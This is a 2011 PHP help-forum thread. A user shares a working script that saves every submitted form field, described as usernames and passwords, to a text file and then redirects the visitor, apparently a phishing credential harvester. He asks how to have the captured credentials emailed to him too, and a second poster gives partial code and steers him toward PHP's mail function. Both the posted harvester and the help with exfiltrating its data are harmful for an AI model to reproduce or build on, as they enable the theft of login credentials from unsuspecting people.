CStott Posted May 15, 2011 Share Posted May 15, 2011 Right at the moment im using this script to get usernames and passwords and save them into usernames.txt <?php header ('Location: redirect.html'); $handle = fopen("usernames.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> But instead of me always having to check usernames.txt i want them to be emailed to me aswell as being saved in usernames.txt (because i know mail can mess up sometimes) But i dont have the foggyest of where to start Any help would be appriciated! Quote Link to comment Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 From $_POST you'd get the desired data in name, value pair. So catch them in variables and use mail function to mail it directly whenever someone registers. Best of luck. Quote Link to comment Share on other sites More sharing options...
CStott Posted May 15, 2011 Author Share Posted May 15, 2011 Youve lost me mate:/ Quote Link to comment Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 Sorry. Is it that you want to save username, password in a text file and as well as being emailed them to you? If I've misunderstood please let me know. Quote Link to comment Share on other sites More sharing options...
CStott Posted May 15, 2011 Author Share Posted May 15, 2011 Nope thats what i want:) Quote Link to comment Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 Then please read my post again. You collect form data in array, name/value pair. Keep them in separate variables and using send mail function get it in your mailbox. Best of luck. Quote Link to comment Share on other sites More sharing options...
CStott Posted May 15, 2011 Author Share Posted May 15, 2011 Could you give me some example code? Quote Link to comment Share on other sites More sharing options...
Sanjib Sinha Posted May 15, 2011 Share Posted May 15, 2011 I am not going to give you the complete code. You can get it done. I just try to initiate the process. Suppose you get username and password using a form, in that case your initial code will be like this: <?php if (isset($_POST['submit'])) { $username = $_POST['user']; $passwaord = $_POST['pass']; //now you store this value in text file //as well as use mail function } ?> Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.